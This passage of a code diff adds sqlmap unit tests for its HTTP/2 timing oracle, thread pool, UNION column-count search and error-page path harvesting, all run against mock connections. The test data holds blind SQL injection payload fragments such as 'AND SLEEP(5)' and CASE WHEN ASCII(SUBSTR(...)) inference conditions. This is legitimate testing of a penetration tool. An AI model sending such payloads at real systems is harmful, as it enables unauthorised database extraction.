test_non_string_char_ignored(self): + # a non-string char leaves kb.uChar untouched (early return) + kb.uChar = "SENTINEL" + uu.configUnion(char=None, columns="1") + self.assertEqual(kb.uChar, "SENTINEL") + + +class TestValueParallelEligibility(unittest.TestCase): + """ + inject.valueParallelEligible() picks the value-parallel path (job-level '--eta' bar / concurrency). + Safety invariant under test: classic time-based must never run concurrently (interfering SLEEP + measurements), so it qualifies only single-threaded under '--eta'; a concurrency-safe channel + (boolean or the timeless oracle) may run under either '--threads' or '--eta'. + """ + + def setUp(self): + self._avail = set() + self._realAvail = inject.isTechniqueAvailable + inject.isTechniqueAvailable = lambda t: t in self._avail + self._saved = (conf.threads, conf.eta, kb.get("timeless")) + + def tearDown(self): + inject.isTechniqueAvailable = self._realAvail + conf.threads, conf.eta, kb.timeless = self._saved + + def _elig(self, threads, eta, techniques, timeless=None): + conf.threads, conf.eta, kb.timeless = threads, eta, timeless + self._avail = set(techniques) + return inject.valueParallelEligible() + + def test_single_thread_eta_time_based_qualifies(self): + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.TIME})) + + def test_multi_thread_time_based_never_parallel(self): + self.assertFalse(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME})) + self.assertFalse(self._elig(8, False, {PAYLOAD.TECHNIQUE.TIME})) + + def test_boolean_qualifies_under_threads_or_eta(self): + self.assertTrue(self._elig(8, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_plain_single_thread_no_eta_stays_classic(self): + self.assertFalse(self._elig(1, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_timeless_is_concurrency_safe(self): + self.assertTrue(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME}, timeless=object())) + + +class TestCharsetCorruptionDetection(unittest.TestCase): + """UNION/error charset-mismatch auto-hex trigger: _pageCharsetCorrupted fires on + reversibly-decoded high bytes (the '\\xNN' marker) and stays quiet on clean data.""" + + def test_detects_reversible_high_bytes(self): + # e.g. GBK bytes mis-decoded under utf-8 -> reversible '\xNN' escapes for the bad bytes + self.assertTrue(inject._pageCharsetCorrupted(u"\\xd6\\xd0\\xce\\xe2")) + + def test_detects_inside_nested_rows(self): + self.assertTrue(inject._pageCharsetCorrupted([[u"1", u"caf\\xe9"], [u"2", u"ok"]])) + + def test_clean_ascii_not_flagged(self): + self.assertFalse(inject._pageCharsetCorrupted(u"hello world")) + + def test_clean_unicode_not_flagged(self): + # correctly-decoded unicode must not trigger a needless hex re-fetch + self.assertFalse(inject._pageCharsetCorrupted(u"\u4e2d\u6587\u6d4b\u8bd5")) + + def test_low_hex_escape_not_flagged(self): + # a literal low '\x41' (ASCII 'A') is not an undecodable-byte marker + self.assertFalse(inject._pageCharsetCorrupted(u"literal \\x41 text")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_texthelpers.py b/tests/test_texthelpers.py new file mode 100644 index 00000000000..1197bc505c1 --- /dev/null +++ b/tests/test_texthelpers.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Text-processing helpers in lib/core/common.py: +normalizeUnicode (accent folding), filterStringValue (charset whitelist), +parseFilePaths (absolute-path harvesting from error pages -> kb.absFilePaths), +getSafeExString (safe exception rendering). + +parseFilePaths in particular feeds path disclosure / file-read targeting, so +its extraction is pinned with realistic PHP/ASP error strings. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import normalizeUnicode, filterStringValue, parseFilePaths, getSafeExString +from lib.core.data import kb + + +class TestNormalizeUnicode(unittest.TestCase): + def test_strips_accents(self): + self.assertEqual(normalizeUnicode(u"caf\xe9 r\xe9sum\xe9"), u"cafe resume") + + def test_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"plain ascii 123"), u"plain ascii 123") + + +class TestFilterStringValue(unittest.TestCase): + def test_keep_lowercase(self): + self.assertEqual(filterStringValue("abc123!@#", r"[a-z]"), "abc") + + def test_keep_digits(self): + self.assertEqual(filterStringValue("a1b2c3", r"[0-9]"), "123") + + def test_all_match(self): + self.assertEqual(filterStringValue("abc", r"[a-z]"), "abc") + + +class TestParseFilePaths(unittest.TestCase): + def setUp(self): + self.addCleanup(setattr, kb, "absFilePaths", kb.get("absFilePaths")) + kb.absFilePaths = set() + + def test_unix_paths_from_php_error(self): + parseFilePaths("Warning: include(/var/www/html/config.php) failed " + "to open stream in /var/www/html/index.php on line 5") + self.assertIn("/var/www/html/config.php", kb.absFilePaths) + self.assertIn("/var/www/html/index.php", kb.absFilePaths) + + def test_windows_path(self): + # exact full path (not a substring) - a truncated harvest is a real defect for file-read targeting + parseFilePaths("Fatal error in C:\\inetpub\\wwwroot\\app\\index.asp on line 1") + self.assertIn("C:\\inetpub\\wwwroot\\app\\index.asp", kb.absFilePaths, + msg="windows path not harvested in full: %s" % kb.absFilePaths) + + def test_quoted_paths_harvested(self): + # paths delimited by a leading quote (Python/Java/.NET stack traces) must be harvested too + parseFilePaths('File "/usr/lib/python3.11/site-packages/app.py", line 10') + parseFilePaths("Cannot read '/opt/tomcat/webapps/app/WEB-INF/web.xml' now") + parseFilePaths('Could not find file "C:\\data\\config.ini".') + self.assertIn("/usr/lib/python3.11/site-packages/app.py", kb.absFilePaths) + self.assertIn("/opt/tomcat/webapps/app/WEB-INF/web.xml", kb.absFilePaths) + self.assertIn("C:\\data\\config.ini", kb.absFilePaths) + + def test_quoted_non_path_ignored(self): + # a leading quote must not turn ordinary quoted words or URLs into "paths" + parseFilePaths("error: 'foobar' invalid; see 'https://example.com/help' for info") + self.assertEqual(kb.absFilePaths, set()) + + +class TestGetSafeExString(unittest.TestCase): + def test_format(self): + self.assertEqual(getSafeExString(ValueError("boom")), u"ValueError: boom") + + def test_runtime_error(self): + # RuntimeError keeps its name across py2/py3 (unlike IOError, which aliases to OSError on py3) + self.assertEqual(getSafeExString(RuntimeError("oops")), u"RuntimeError: oops") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_threads.py b/tests/test_threads.py new file mode 100644 index 00000000000..602d2c5acb8 --- /dev/null +++ b/tests/test_threads.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Threading helpers in lib/core/threads.py: the thread-local data model, +current-thread accessors, the exception-isolating wrapper, and runThreads() +(the worker-pool driver used throughout extraction). Exercised with trivial, +fast, network-free workers. +""" + +import os +import sys +import threading +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core import threads as T +from lib.core.data import conf, kb +from thirdparty.six.moves import queue as _queue + + +class TestThreadData(unittest.TestCase): + def test_reset_initializes_fields(self): + td = T.getCurrentThreadData() + td.retriesCount = 5 + td.reset() + self.assertEqual(td.retriesCount, 0) + self.assertEqual(td.valueStack, []) + self.assertFalse(td.disableStdOut) + + def test_get_current_thread_data_is_threadlocal(self): + # ThreadData subclasses threading.local: the wrapper object is shared, but its + # ATTRIBUTE STATE is per-thread. Verify both: same object, independent state. + main = T.getCurrentThreadData() + self.assertIs(main, T.getCurrentThreadData()) # stable within a thread + self.addCleanup(main.reset) # don't leak the main thread's mutated state to later tests + + main.retriesCount = 111 + + other = {} + + def worker(): + td = T.getCurrentThreadData() + other["same_obj"] = (td is main) + # a fresh thread gets reset()-initialised state, NOT the main thread's 111 + other["retries_seen"] = td.retriesCount + td.retriesCount = 222 + + t = threading.Thread(target=worker) + t.start() + t.join() + + # the wrapper object identity is shared (threading.local semantics) ... + self.assertTrue(other["same_obj"]) + # ... but the worker never saw the main thread's mutation (thread-local state) ... + self.assertEqual(other["retries_seen"], 0) + # ... and the worker's own mutation did not leak back into the main thread + self.assertEqual(main.retriesCount, 111) + + def test_get_current_thread_name(self): + self.assertEqual(T.getCurrentThreadName(), threading.current_thread().name) + + +class TestExceptionHandledFunction(unittest.TestCase): + def test_success_runs_function(self): + calls = [] + T.exceptionHandledFunction(lambda: calls.append(1)) + self.assertEqual(calls, [1]) + + def _capture_errors(self, silent): + """Run a raising worker, returning the list of logged error messages.""" + errors = [] + + class _Rec(object): + def error(self, msg, *a): + errors.append(msg % a if a else msg) + + def __getattr__(self, name): + return lambda *a, **k: None + + saved_logger = T.logger + saved_continue = kb.get("threadContinue") + saved_multi = kb.get("multipleCtrlC") + T.logger = _Rec() + kb.threadContinue = True + kb.multipleCtrlC = False + try: + # must never propagate, regardless of the silent flag + T.exceptionHandledFunction(lambda: 1 / 0, silent=silent) + finally: + T.logger = saved_logger + kb.threadContinue = saved_continue + kb.multipleCtrlC = saved_multi + return errors + + def test_non_silent_logs_error(self): + # silent=False (with threadContinue) routes the swallowed exception to logger.error + errors = self._capture_errors(silent=False) + self.assertTrue(errors, msg="non-silent mode logged no error") + self.assertTrue(any("ZeroDivisionError" in e for e in errors), + msg="error message did not name the exception: %r" % errors) + + def test_silent_logs_nothing(self): + # silent=True gates the logging: the exception is swallowed without any error log + errors = self._capture_errors(silent=True) + self.assertEqual(errors, [], msg="silent mode unexpectedly logged: %r" % errors) + + def test_keyboardinterrupt_propagates(self): + def boom(): + raise KeyboardInterrupt + self.assertRaises(KeyboardInterrupt, T.exceptionHandledFunction, boom) + + +class TestSetDaemon(unittest.TestCase): + def test_sets_daemon_flag(self): + t = threading.Thread(target=lambda: None) + T.setDaemon(t) + self.assertTrue(t.daemon) + + +class TestRunThreads(unittest.TestCase): + def setUp(self): + self._saved = {k: conf.get(k) for k in ("threads", "hashDB")} + conf.hashDB = None + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + + def test_workers_drain_shared_queue(self): + q = _queue.Queue() + total = 50 + for i in range(total): + q.put(i) + seen = [] + lock = threading.Lock() + + def worker(): + while True: + try: + item = q.get_nowait() + except _queue.Empty: + break + with lock: + seen.append(item) + + conf.threads = 4 + T.runThreads(4, worker, startThreadMsg=False) + self.assertEqual(sorted(seen), list(range(total))) + + def test_single_thread_runs_worker(self): + calls = [] + conf.threads = 1 + T.runThreads(1, lambda: calls.append(1), startThreadMsg=False) + self.assertEqual(calls, [1]) + + def test_cleanup_function_invoked(self): + flags = [] + conf.threads = 2 + T.runThreads(2, lambda: None, + cleanupFunction=lambda: flags.append(1), + startThreadMsg=False) + self.assertTrue(flags) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_timeless.py b/tests/test_timeless.py new file mode 100644 index 00000000000..2404e9bd99d --- /dev/null +++ b/tests/test_timeless.py @@ -0,0 +1,435 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Coverage for the HTTP/2 timeless-timing oracle in lib/request/timeless.py: the +sequential decision engine that turns response-order votes into bits, the pair +transport's replay-safety and response validation, request-spec conversion, the +sentinel negation, and oracle teardown. + +Network-free - a fake _H2Connection stands in for the transport, so every vote +sequence is exactly reproducible. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import socket +import sys +import threading +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request import timeless as _timeless +from lib.request.http2 import _UnprocessedStream +from lib.request.timeless import ( + LIGHT_HEAVY, + LIGHT_HEAVY_COSTS, + SPRT_CAP_FACTOR, + TimelessOracle, + TimelessUnusable, + _pairOrder, + _specToReq, + buildConditionPair, + calibrate, + lightHeavyVector, + negateCondition, + negatePayload, + readBit, +) + +REQ_COND = {"method": "GET", "path": "/?id=1", "authority": "h"} +REQ_NEG = {"method": "GET", "path": "/?id=2", "authority": "h"} + + +class FakeConnection(object): + """Minimal _H2Connection stand-in. `orders` is an iterable of booleans - True means the SECOND request + of the pair finished last (so exchange_pair reports the first-sent stream as finishing first).""" + + def __init__(self, orders=(), statuses=None, raises=None, host="target"): + self.host, self.port = host, 443 + self.next_sid = 1 + self.usable = True + self.closed = 0 + self.sent = [] + self._orders = list(orders) + self._statuses = list(statuses) if statuses is not None else None + self._raises = list(raises) if raises is not None else [] + + def exchange_pair(self, requests, timeout): + if self._raises: + error = self._raises.pop(0) + if error is not None: + raise error + self.sent.append(list(requests)) + lo, hi = self.next_sid, self.next_sid + 2 + self.next_sid += 4 + secondLast = self._orders.pop(0) if self._orders else True + order = [lo, hi] if secondLast else [hi, lo] + status = self._statuses.pop(0) if self._statuses else 200 + statuses = status if isinstance(status, tuple) else (status, status) + return order, {lo: (statuses[0], [], b""), hi: (statuses[1], [], b"")} + + def close(self): + self.closed += 1 + self.usable = False + + +def votes(*heavyLast): + """Build the `orders` sequence for readBit()/calibrate() votes: heavyLast[i] True means the request + under test (reqCond / reqSlow) finished LAST on vote i. Both alternate the send order, so which slot it + occupies - and therefore whether 'it finished last' means 'the second-sent stream finished last' - + flips every vote.""" + return [last if i % 2 else not last for i, last in enumerate(heavyLast)] + + +class TimelessDecisionTest(unittest.TestCase): + def test_unanimous_true_and_false(self): + conn = FakeConnection(votes(*([True] * 20))) + self.assertTrue(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + conn = FakeConnection(votes(*([False] * 20))) + self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + + def test_decisions_only_on_balanced_samples(self): + """Both stream-id orderings must contribute equally, so a bit can never be decided on an odd + number of votes (which would give one ordering an extra say).""" + for pattern in ([True] * 20, [False] * 20, [True, False] * 10): + conn = FakeConnection(votes(*pattern)) + readBit(conn, REQ_COND, REQ_NEG, votes=4) + self.assertEqual(len(conn.sent) % 2, 0) + + def test_late_disagreement_does_not_flip_a_true_bit(self): + """The regression the sequential test fixes: three cond-last then two cond-first used to hit + fraction 0.6 -> escalate, and the next cond-first (3/6 = 0.5) returned False on the spot.""" + pattern = [True, True, True, False, False, False] + [True] * 30 + conn = FakeConnection(votes(*pattern)) + self.assertTrue(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + self.assertGreater(len(conn.sent), 6) + + def test_coin_flip_reads_false(self): + """A DBMS that errors past the end of a string makes both requests error, so the order is a coin + flip - that must terminate the string, not invent a character.""" + conn = FakeConnection(votes(*([True, False] * 40))) + self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + + def test_cap_is_respected(self): + conn = FakeConnection(votes(*([True, False] * 200))) + readBit(conn, REQ_COND, REQ_NEG, votes=4) + self.assertLessEqual(len(conn.sent), 4 * SPRT_CAP_FACTOR) + + def test_clean_model_costs_no_more_than_the_classic_rule(self): + """A target whose tuning sweep was unanimous is read at SPRT_P_TRUE_CLEAN. Live measurement on such + a target (6990 votes, idle and under 4x load) never produced a disagreeing vote, so the model has to + pay about what the old fixed five-pair rule did or the accuracy work is a straight slowdown.""" + conn = FakeConnection(votes(*([True] * 20))) + self.assertTrue(readBit(conn, REQ_COND, REQ_NEG, votes=4, pTrue=_timeless.SPRT_P_TRUE_CLEAN)) + self.assertLessEqual(len(conn.sent), 6) + + conn = FakeConnection(votes(*([False] * 20))) + self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4, pTrue=_timeless.SPRT_P_TRUE_CLEAN)) + self.assertLessEqual(len(conn.sent), 4) + + def test_clean_model_still_terminates_a_string(self): + """The end-of-string coin flip is the failure this engine exists to prevent, so it must hold under + the cheaper model too.""" + conn = FakeConnection(votes(*([True, False] * 60))) + self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4, pTrue=_timeless.SPRT_P_TRUE_CLEAN)) + + def test_minimum_sample_is_honoured(self): + conn = FakeConnection(votes(*([False] * 40))) + readBit(conn, REQ_COND, REQ_NEG, votes=12) + self.assertGreaterEqual(len(conn.sent), 12) + + def test_error_rates_are_bounded(self): + """Drive the decision engine with a deterministic pseudo-random vote stream and check that the + realised error rate on both hypotheses stays inside the configured bound (with slack for the + finite cap).""" + def stream(p, seed, count): + state, out = seed, [] + for _ in range(count): + state = (1103515245 * state + 12345) % (1 << 31) + out.append((state >> 16) % 1000 < p * 1000) + return out + + wrong = 0 + for trial in range(60): # genuine TRUE bits at the modelled per-vote reliability + conn = FakeConnection(votes(*stream(_timeless.SPRT_P_TRUE, trial + 1, 2000))) + wrong += not readBit(conn, REQ_COND, REQ_NEG, votes=4) + self.assertLessEqual(wrong, 6) # bound is 2%, allow slack for the finite sample + + wrong = 0 + for trial in range(60): # end-of-string coin flip: must never invent a character + conn = FakeConnection(votes(*stream(0.5, trial + 1, 2000))) + wrong += bool(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + self.assertLessEqual(wrong, 6) + + wrong = 0 + for trial in range(60): # real FALSE bits (cond is strictly the cheap one) + conn = FakeConnection(votes(*stream(0.02, trial + 1, 2000))) + wrong += bool(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + self.assertEqual(wrong, 0) + + +class TimelessTransportTest(unittest.TestCase): + def test_unprocessed_stream_is_retried_on_a_factory(self): + conns = [FakeConnection([True], raises=[_UnprocessedStream("goaway")]), FakeConnection([True])] + made = [] + + def factory(): + made.append(conns[len(made)]) + return made[-1] + + first, loSid, hiSid, status = _pairOrder(factory, REQ_COND, REQ_NEG, 5) + self.assertEqual(len(made), 2) + self.assertEqual(status, 200) + self.assertEqual((loSid, hiSid), (1, 3)) + self.assertEqual(first, loSid) + + def test_ambiguous_transport_error_is_not_replayed(self): + """A generic drop proves nothing about whether the application saw the requests - re-sending it + could re-run a state-changing injection point.""" + conn = FakeConnection([True], raises=[socket.error("connection reset")]) + self.assertRaises(socket.error, _pairOrder, lambda: conn, REQ_COND, REQ_NEG, 5) + self.assertEqual(conn.closed, 1) + + def test_status_mismatch_between_streams_raises(self): + conn = FakeConnection([True] * 8, statuses=[(200, 403)] * 8) + self.assertRaises(TimelessUnusable, _pairOrder, conn, REQ_COND, REQ_NEG, 5) + + def test_drift_from_the_calibrated_status_raises(self): + conn = FakeConnection([True] * 8, statuses=[302] * 8) + self.assertRaises(TimelessUnusable, _pairOrder, conn, REQ_COND, REQ_NEG, 5, expectStatus=200) + + def test_transient_status_blip_is_tolerated(self): + conn = FakeConnection([True] * 8, statuses=[500, 200]) + _first, _lo, _hi, status = _pairOrder(conn, REQ_COND, REQ_NEG, 5, expectStatus=200) + self.assertEqual(status, 200) + + def test_calibrate_reports_the_control_status(self): + conn = FakeConnection(votes(*([True] * 10)), statuses=[201] * 10) + usable, confidence, status = calibrate(conn, REQ_COND, REQ_NEG, trials=10) + self.assertTrue(usable) + self.assertEqual(confidence, 1.0) + self.assertEqual(status, 201) + + def test_calibrate_rejects_a_serializing_backend(self): + conn = FakeConnection([True] * 20) # order tracks arrival, not work + usable, confidence, _status = calibrate(conn, REQ_COND, REQ_NEG, trials=10) + self.assertFalse(usable) + self.assertLess(confidence, 0.9) + + +class TimelessSpecTest(unittest.TestCase): + def test_authority_comes_from_the_host_header(self): + spec = ("https://10.0.0.5/path?a=1", "GET", {"Host": "vhost.example", "X-A": "1"}, None) + req = _specToReq(spec, "fallback") + self.assertEqual(req["authority"], "vhost.example") + self.assertEqual(req["path"], "/path?a=1") + + def test_authority_falls_back_to_the_url(self): + spec = ("https://10.0.0.5/path", "GET", {"X-A": "1"}, None) + self.assertEqual(_specToReq(spec, "fallback")["authority"], "10.0.0.5") + + def test_connection_nominated_fields_reach_the_http2_normalizer(self): + """Stripping Connection here would leave the fields it names in the h2 request, which is + malformed - the HTTP/2 layer needs to see it to remove them.""" + spec = ("https://h/p", "GET", {"Connection": "X-Remove", "X-Remove": "v"}, None) + req = _specToReq(spec, "h") + self.assertIn("Connection", req["headers"]) + + from lib.request.http2 import _normalize_request_headers + names = [name for name, _value in _normalize_request_headers(req["headers"], b"")] + self.assertNotIn(b"x-remove", names) + self.assertNotIn(b"connection", names) + + def test_userinfo_is_dropped_from_the_authority(self): + spec = ("https://user:pass@host.example:8443/p", "GET", {}, None) + self.assertEqual(_specToReq(spec, "h")["authority"], "host.example:8443") + + +class TimelessPayloadTest(unittest.TestCase): + def test_negation_spans_newlines(self): + value = "AND 1=(CASE WHEN (%sASCII(SUBSTR(x,\n1,1))>64%s) THEN 1 ELSE 1 END)" % ( + _timeless.INFERENCE_BEGIN, _timeless.INFERENCE_END) + negated = negatePayload(value) + self.assertIsNotNone(negated) + self.assertIn("ASCII(SUBSTR(x,\n1,1))>64", negated) + self.assertIn("THEN 1 ELSE 0 END)=0", negated) + + def test_negation_requires_sentinels(self): + self.assertIsNone(negatePayload("AND 1=1")) + self.assertIsNone(negatePayload(None)) + + def test_negation_is_null_safe(self): + """Plain NOT() would leave both requests cheap at end-of-string (NOT NULL is NULL), so neither + branch runs heavy and the order is noise.""" + self.assertNotIn("NOT(", negateCondition("ORD(x)>64")) + self.assertEqual(negateCondition("ORD(x)>64"), "(CASE WHEN (ORD(x)>64) THEN 1 ELSE 0 END)=0") + + def test_every_primitive_consumes_the_cost(self): + """A primitive that ignores [COST] makes every rung of the ladder send the identical query while + reporting a different cost.""" + for dbms, primitive in LIGHT_HEAVY.items(): + self.assertIn("[COST]", primitive, "%s primitive ignores [COST]" % dbms) + + def test_every_primitive_yields_a_sentinel_vector(self): + for dbms in LIGHT_HEAVY: + vector = lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) + self.assertIn(_timeless.INFERENCE_BEGIN, vector) + self.assertIn(_timeless.INFERENCE_END, vector) + self.assertIsNotNone(negatePayload(vector)) + + def test_condition_pair_runs_heavy_exactly_once(self): + cond, neg = buildConditionPair("ORD(x)>64", "HEAVY") + self.assertEqual(cond.count("HEAVY"), 1) + self.assertEqual(neg.count("HEAVY"), 1) + self.assertNotEqual(cond, neg) + + +class TimelessOracleTest(unittest.TestCase): + def _oracle(self, connections, **kwargs): + oracle = TimelessOracle("h", 443, REQ_COND, REQ_NEG, votes=4, status=200, **kwargs) + made = [] + + def opener(host, port, proxy, timeout): + made.append(connections[len(made)]) + return made[-1] + + oracle._opened = made + _timeless.connect, self._savedConnect = opener, _timeless.connect + return oracle + + def tearDown(self): + if hasattr(self, "_savedConnect"): + _timeless.connect = self._savedConnect + del self._savedConnect + + def test_a_fresh_connection_is_calibrated_before_it_reads(self): + conn = FakeConnection(votes(*([True] * 40))) + oracle = self._oracle([conn]) + oracle._conn() + self.assertEqual(len(conn.sent), _timeless.VERIFY_TRIALS) + + def test_a_serializing_replacement_connection_is_refused(self): + """The initial sweep proves one connection to one backend node; a later connection can land on a + node that serializes streams and would return wrong bits without ever raising.""" + conn = FakeConnection([True] * 40) # first-sent always finishes first + oracle = self._oracle([conn]) + self.assertRaises(TimelessUnusable, oracle._conn) + self.assertEqual(conn.closed, 1) + self.assertEqual(oracle._conns, []) + + def test_close_does_not_resurrect_a_concurrently_opened_connection(self): + conn = FakeConnection(votes(*([True] * 40))) + oracle = self._oracle([conn]) + started, release = threading.Event(), threading.Event() + opener = _timeless.connect + + def blocking(*args, **kwargs): + started.set() + release.wait(5) + return opener(*args, **kwargs) + + _timeless.connect = blocking + worker = threading.Thread(target=lambda: self.assertRaises(TimelessUnusable, oracle._conn)) + worker.daemon = True + worker.start() + started.wait(5) + oracle.close() # closes while the worker is still inside connect() + release.set() + worker.join(5) + self.assertEqual(oracle._conns, []) + self.assertEqual(conn.closed, 1) + + def test_clean_model_demands_a_unanimous_connection(self): + """The cheap model is only sound where votes are deterministic, so a connection that cannot + reproduce the unanimity the tuning sweep saw must not be read at it.""" + oneMiss = votes(*([True] * 3 + [False] + [True] * 40)) + oracle = self._oracle([FakeConnection(oneMiss)], verifyThreshold=_timeless.VERIFY_THRESHOLD_CLEAN, + pTrue=_timeless.SPRT_P_TRUE_CLEAN) + self.assertRaises(TimelessUnusable, oracle._conn) + + oracle = self._oracle([FakeConnection(oneMiss)]) # conservative model tolerates it + self.assertTrue(oracle._conn()) + + def test_close_is_idempotent(self): + conn = FakeConnection(votes(*([True] * 40))) + oracle = self._oracle([conn]) + oracle._conn() + oracle.close() + oracle.close() + self.assertEqual(conn.closed, 1) + + +class TimelessEngagementTest(unittest.TestCase): + """engage()/disengage() are the state machine the runtime fallback depends on. Restoring the vector + alone is NOT enough - bisection freezes a comparison template from it when a value starts extracting, + so disengage() must also publish the classic vector for queryPage to re-forge the stragglers with, + or the rest of that value keeps sending heavy (no-delay) payloads that read as all-False.""" + + def setUp(self): + from lib.core.data import kb + from lib.core.datatype import AttribDict + from lib.core.enums import PAYLOAD + + self.kb, self.technique = kb, PAYLOAD.TECHNIQUE.TIME + self._saved = (kb.get("injection"), kb.get("timeless"), kb.get("timelessRestore")) + kb.injection = AttribDict({"data": AttribDict({self.technique: AttribDict({"vector": "AND SLEEP([SLEEPTIME]) [INFERENCE]"})})}) + kb.timeless = None + kb.timelessRestore = None + + def tearDown(self): + self.kb.injection, self.kb.timeless, self.kb.timelessRestore = self._saved + + def _oracle(self): + return TimelessOracle("h", 443, REQ_COND, REQ_NEG, status=200) + + def test_engage_swaps_the_vector_and_publishes_last(self): + oracle = self._oracle() + _timeless.engage(oracle, self.technique, "AND HEAVY [INFERENCE]") + self.assertEqual(self.kb.injection.data[self.technique].vector, "AND HEAVY [INFERENCE]") + self.assertIs(self.kb.timeless, oracle) + self.assertIsNone(self.kb.timelessRestore) + + def test_disengage_restores_and_arms_the_straggler_rewrite(self): + oracle = self._oracle() + _timeless.engage(oracle, self.technique, "AND HEAVY [INFERENCE]") + _timeless.disengage() + self.assertEqual(self.kb.injection.data[self.technique].vector, "AND SLEEP([SLEEPTIME]) [INFERENCE]") + self.assertIsNone(self.kb.timeless) + self.assertEqual(self.kb.timelessRestore, "AND SLEEP([SLEEPTIME]) [INFERENCE]") + + def test_re_engaging_clears_a_previous_targets_rewrite(self): + """A stale rewrite vector outliving its target would re-forge the next one's payloads.""" + _timeless.engage(self._oracle(), self.technique, "AND HEAVY [INFERENCE]") + _timeless.disengage() + self.assertIsNotNone(self.kb.timelessRestore) + _timeless.engage(self._oracle(), self.technique, "AND HEAVY2 [INFERENCE]") + self.assertIsNone(self.kb.timelessRestore) + + def test_disengage_holds_the_data_object_not_the_technique(self): + """disengage() can run after the controller moved to the next target; re-resolving the technique + then would restore this target's vector onto the next one's injection data.""" + from lib.core.datatype import AttribDict + + oracle = self._oracle() + _timeless.engage(oracle, self.technique, "AND HEAVY [INFERENCE]") + stale = self.kb.injection.data[self.technique] + self.kb.injection = AttribDict({"data": AttribDict({self.technique: AttribDict({"vector": "NEXT TARGET [INFERENCE]"})})}) + _timeless.disengage() + self.assertEqual(self.kb.injection.data[self.technique].vector, "NEXT TARGET [INFERENCE]") + self.assertEqual(stale.vector, "AND SLEEP([SLEEPTIME]) [INFERENCE]") + + def test_straggler_rewrite_ignores_a_payload_without_sentinels(self): + """The rewrite must be a no-op on any ordinary time-based payload.""" + self.assertIsNone(_timeless.restoreClassicValue("id=1 AND SLEEP(5)", "AND SLEEP([SLEEPTIME]) [INFERENCE]")) + self.assertIsNone(_timeless.restoreClassicValue(None, "AND SLEEP([SLEEPTIME]) [INFERENCE]")) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_union_engine.py b/tests/test_union_engine.py new file mode 100644 index 00000000000..9aa6886cab4 --- /dev/null +++ b/tests/test_union_engine.py @@ -0,0 +1,188 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The UNION-based column-count detection engine (lib/techniques/union/test.py). + +_findUnionCharCount discovers how many columns a UNION injection needs. Its +fastest path is the ORDER BY technique: a valid target accepts ORDER BY 1..N and +errors on ORDER BY N+1, so it binary-searches for N. We drive the REAL function +against a mock oracle (Request.queryPage replaced) that errors once the requested +column index exceeds a known true count - exercising the actual detection + +binary search with no live target. + +This requires the full injection context (conf.parameters / conf.paramDict / +kb.injection) because column detection builds real payloads via agent.payload. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict +from lib.core.enums import PAYLOAD, PLACE +from lib.request.connect import Connect +import lib.techniques.union.test as ut +import lib.techniques.union.use as uu + +MARKER = "MARKER42" +VALID_PAGE = "results %s" % MARKER + +_CONF = {"string": MARKER, "notString": None, "regexp": None, "code": None, + "uCols": None, "uColsStart": 1, "uColsStop": 50, "base64Parameter": ()} +_KB = {"heavilyDynamic": False, "errorIsNone": False, "futileUnion": False, + "uChar": "NULL", "forceWhere": None} + + +class TestOrderByColumnCount(unittest.TestCase): + def setUp(self): + self._sc = {k: conf.get(k) for k in _CONF} + self._sk = {k: kb.get(k) for k in _KB} + self._sp = (conf.get("parameters"), conf.get("paramDict")) + self._sqp = Connect.queryPage + self._stmpl = kb.get("pageTemplate") + self._sinj = (kb.injection.place, kb.injection.parameter) + + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + kb.pageTemplate = VALID_PAGE + kb.injection.place = None + kb.injection.parameter = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + conf.parameters, conf.paramDict = self._sp + kb.pageTemplate = self._stmpl + kb.injection.place, kb.injection.parameter = self._sinj + Connect.queryPage = self._sqp + ut.Request.queryPage = self._sqp + + def 